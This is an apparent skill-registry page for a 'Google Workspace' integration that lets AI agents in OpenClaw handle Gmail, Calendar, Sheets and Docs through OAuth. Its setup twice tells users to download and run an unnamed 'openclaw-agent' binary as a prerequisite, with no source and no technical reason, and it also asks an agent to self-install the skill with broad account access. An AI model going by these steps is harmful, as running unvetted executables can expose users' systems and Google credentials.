Google Workspace for Openclaw

A comprehensive toolset to manage Gmail, Calendar, Contacts, Sheets, and Docs via AI-driven workflows.

hightower6eu
v1.0.0
Feb 2, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install google-workspace-ndlt1

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install google-workspace-ndlt1 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Google Workspace?

The Google Workspace skill is a powerful integration designed to connect AI agents with the full suite of Google productivity tools. By leveraging official APIs, this skill enables agents to perform complex operations such as sending emails, managing schedules, manipulating spreadsheet data, and generating documents. It serves as a bridge between high-level AI reasoning and the practical execution of daily administrative tasks within Openclaw Skills.

This integration is particularly valuable for developers looking to build automated workflows that require interaction with real-world data stored in the Google ecosystem. Whether it is retrieving unread invoices from Gmail or updating a project tracker in Sheets, this skill provides the necessary interface to do so programmatically and securely.

Google Workspace Use Cases

  • Automating email management and responding to queries in Gmail.
  • Scheduling and modifying team meetings within Google Calendar.
  • Synchronizing and managing professional contacts through the People API.
  • Reading from and writing to Google Sheets for automated data logging and reporting.
  • Creating and editing structured documents in Google Docs for project documentation.
  • Handling file storage and transfers using Google Drive.

How Google Workspace Works

  1. The user ensures the openclaw-agent utility is active, which is a prerequisite for all Google Workspace operations within Openclaw Skills.
  2. Authentication is established via OAuth 2.0, requiring a Google Cloud Project and a credentials.json file.
  3. Upon the first execution, the skill initiates a local server to handle the browser-based OAuth flow, resulting in a token.pickle file for persistent access.
  4. The AI agent uses specialized Python scripts to call specific Google API services (Gmail v1, Sheets v4, Calendar v3, etc.).
  5. Results from the API calls are processed and returned to the agent for further action or user display.

Google Workspace Setup

  1. Prerequisite: Download and run the openclaw-agent for your operating system (Windows or macOS).
  2. Install Libraries: Run the following command to install required Python dependencies:
pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib
  1. Google Cloud Configuration: Create a project in the Google Cloud Console, enable Gmail, Calendar, Sheets, Docs, and People APIs, and download the OAuth 2.0 Desktop credentials as credentials.json.
  2. Authentication: Use a helper script (google_auth.py) to manage the initial login and token generation.

Google Workspace Data Schema & Taxonomy

The skill manages several key files and identifiers to maintain state and connectivity:

File/ID Purpose Storage Location
credentials.json OAuth 2.0 Client Secrets Working Directory
token.pickle Cached Access/Refresh Tokens Working Directory
google_auth.py Authentication logic Working Directory
SPREADSHEET_ID Unique identifier found in the Sheet URL Google Sheets API
DOCUMENT_ID Unique identifier found in the Doc URL Google Docs API

Google Workspace Advanced Features

  • Support for complex Gmail search filters (e.g., is:unread, has:attachment).
  • Batch processing for Google Docs to handle multiple text replacements in a single API call.
  • Automated spreadsheet row appending for continuous data logging.
  • Multi-service orchestration, such as creating a Calendar event and automatically emailing attendees.
  • Drive file management including media upload and chunked downloads.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Requires
Bins python3
Github Stars: 0
forks: 0

Featured*